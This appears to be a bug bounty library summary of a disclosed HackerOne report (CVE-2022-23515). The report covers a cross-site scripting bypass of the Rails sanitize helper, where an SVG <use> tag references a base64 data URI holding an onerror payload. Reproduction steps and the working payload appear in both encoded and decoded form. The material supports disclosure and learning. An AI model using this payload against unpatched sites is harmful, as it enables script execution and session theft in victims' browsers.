# Rails ActionView sanitize helper bypass leading to XSS using SVG tag.

Rails sanitize helper allowed svg/use tags, letting a data:image/svg+xml URI embed a nested SVG with onerror XSS that bypassed sanitization.

- Payout: $2,400
- Severity: medium
- Program: Internet Bug Bounty
- Found by: haqpl
- Disclosed: 2023-01-29
- CVE: CVE-2022-23515
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1805873
- Library page: https://bugbountylibrary.com/r/h1%3A1805873
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:ruby technique:parser-differential technique:source-review vuln:xss

**Target:** Rails ActionView sanitize helper / Loofah HTML sanitizer
**Root cause:** Loofah (>=2.1.0, <2.19.1) did not sanitize content inside data:image/svg+xml URIs referenced by SVG <use> tags, so a nested SVG with event handlers survived sanitization.
**Steps:**
1. Configure sanitize to allow svg and use tags: `tags: %w(svg use)` or `config.action_view.sanitized_allowed_tags = ['svg','use']`
2. Craft payload: `<svg><use href="data:image/svg+xml;base64,<b64>"/></svg>`
3. Base64-encode nested SVG: `<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(window.origin)" />
</svg>`
4. Render via `<%= sanitize "<svg><use href=\"data:image/svg+xml;base64,...#x\"/></svg>", tags: %w(svg use) %>`
5. Observe alert(window.origin) fires, confirming XSS bypass
**How found:** Researcher noticed the sanitizer allowed svg/use tags and hypothesized that the data: URI content of <use href> was not recursively sanitized, then tested a nested SVG with an onerror handler.
**Exploitation:** Attacker supplies sanitized HTML containing an SVG <use> referencing a base64 data:image/svg+xml URI; the nested SVG's <image onerror> executes JavaScript in the victim's origin when rendered, enabling session/data theft and actions as the victim.
**Insight:** When a sanitizer allowlists SVG, test whether external/data-URI referenced documents (use href, image href, xlink:href) are recursively sanitized—nested SVG in data: URIs often escapes the filter.

## Proof of concept (copied exactly from the original report)

**Rails sanitize bypass via SVG use data URI**

```
<%= sanitize "<svg><use href=\"data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEzMzcnIGhlaWdodD0nMTMzNyc+CjxpbWFnZSBocmVmPSIxIiBvbmVycm9yPSJhbGVydCh3aW5kb3cub3JpZ2luKSIgLz4KPC9zdmc+#x\"/></svg>", tags: %w(svg use) %>
```

**Base64-decoded SVG XSS payload**

```
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='1337' height='1337'>
<image href="1" onerror="alert(window.origin)" />
</svg>
```

